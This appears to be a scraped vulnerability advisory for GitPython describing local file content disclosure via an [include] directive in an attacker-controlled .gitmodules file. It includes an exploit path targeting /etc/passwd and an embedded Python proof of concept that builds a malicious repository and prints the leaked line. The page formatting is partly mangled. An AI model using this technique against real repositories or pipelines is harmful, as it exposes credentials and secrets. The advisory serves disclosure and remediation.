CVE-2026-78675
ADVISORY - githubSummary
[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
- CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
- Affected component:
git/objects/submodule/base.py,Submodule._config_parser()(line 273) constructingSubmoduleConfigParser(fp_module, read_only=read_only);git/config.py,GitConfigParser.__init__(merge_includesdefault),GitConfigParser.read()/_included_paths()(include-path resolution, ~lines 630-685),GitConfigParser._read()(line 493-498,MissingSectionHeaderError) - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).
That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.
GitConfigParser.read()'s include-path resolution (line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. `is expanded viaosp.expanduser. The only gate before opening is os.access(include_path, os.R_OK)` — a readability check, not a path restriction.
Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.
Root cause
Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)
Exploit path
- Attacker crafts a repository whose
.gitmodulescontains a legitimate-looking[submodule ...]section plus:
(an absolute path bypasses any traversal reasoning entirely; a relative[include] path = /etc/passwd../../../../etc/passwd-style path works too). - Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules:
list(repo.submodules)(or anyfor sm in repo.submodules) — noupdate(),init(), or checkout of any kind required. SubmoduleConfigParser(inheritingmerge_includes=True) follows the[include]directive, opens/etc/passwd, andGitConfigParser._read()raisesMissingSectionHeaderErrorwhose message embeds/etc/passwd's first line verbatim.- This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on
repo.submodules— disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).
Preconditions
- Victim clones (or otherwise opens with GitPython) a repository whose
.gitmodulesis attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for). - Victim performs any operation that touches
repo.submodules— one of the most ordinary GitPython operations, requiring no submoduleupdate/init/checkout. - No authentication/role requirement inside GitPython itself.
Evidence
git/config.py—GitConfigParser.__init__defaultsmerge_includes=True.git/objects/submodule/base.py:273—SubmoduleConfigParser(fp_module, read_only=read_only)passes neithermerge_includesnorrepo=;git blameshows this call unchanged since the class was introduced, andgit show 41ecc6a4confirms that commit touched onlygit/repo/base.py'sRepo.config_writer(), never this call site.git/config.py_included_paths()/read()(~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs()short-circuit); no repository-boundary containment check exists anywhere in this path.git/config.py_read()(~493-498) — raisescp.MissingSectionHeaderError(fpname, lineno, line)with the raw file line embedded, matching Python stdlibconfigparser's own__str__behavior.Submodule.iter_items()catches only(IOError, BadName)—configparser.Error(the base ofMissingSectionHeaderError) is not swallowed.- PoC (
gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from+list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and/etc/passwd.
False-positive check (adversarial re-read)
- Is this the same bug as
GHSA-hmq2-w58f-27jc? No — that advisory is about the.gitmodulessubmodule name driving_module_abspath/os.makedirs()(creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the[include]directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - Is this the same bug as
GHSA-cwvm-v4w8-q58c(blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives ingit/refs/symbolic.py's ref-name resolution feedingRepo.commit/tree/index.diff— an entirely different module and code path. This finding discloses actual file content viagit/config.py's include-directive resolution. - Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard
clone_from+list(repo.submodules)workflow. - Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading
Submodule.iter_items()'s exception handling, which catches onlyIOError/BadName;configparser.MissingSectionHeaderErrorpropagates uncaught. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and
/etc/passwd.
Remediation
Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.
Confidence
High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).
Proof-of-Concept source (gitpython-003-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>
Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")
attacker_repo = os.path.join(workdir, "attacker-repo")
dest = os.path.join(workdir, "dest")
for p in (attacker_repo, dest):
os.makedirs(p, exist_ok=True)
if not os.path.exists(target_file):
os.makedirs(os.path.dirname(target_file), exist_ok=True)
with open(target_file, "w") as f:
f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")
subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)
with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
f.write("hello\n")
with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
f.write(
'[submodule "totally-normal-dep"]\n'
"\tpath = vendor/dep\n"
"\turl = https://example.com/dep.git\n"
"[include]\n"
"\tpath = %s\n" % target_file
)
subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
import configparser
repo = git.Repo.clone_from(attacker_repo, dest)
try:
subs = list(repo.submodules)
print("NOT VULNERABLE: no exception raised, submodules =", subs)
sys.exit(1)
except configparser.MissingSectionHeaderError as e:
msg = str(e)
print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
print(msg)
with open(target_file) as f:
first_line = f.readline().rstrip("\n")
if first_line in msg:
print("Confirmed: target file's first line is present verbatim in the exception message.")
sys.exit(0)
else:
print("NOT VULNERABLE: exception message did not contain the expected content")
sys.exit(1)
if __name__ == "__main__":
main()
Common Weakness Enumeration (CWE)
External Control of File Name or Path
GitHub
CVSS SCORE
8.6high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| gitpython | pypi | - | - | <=3.1.58 | 3.1.59 |
CVSS:4 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is not bound to the network stack and the attacker's path is via read/write/execute capabilities. Either: The attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or remotely (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges.
There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.
NIST
2.5
CVSS SCORE
8.6highAlpine
-
Debian
-
Ubuntu
-
CVSS SCORE
N/AlowPypA
PYSEC-2026-3785
1.8
CVSS SCORE
7.8highminimos
MINI-rv63-j652-rx47
-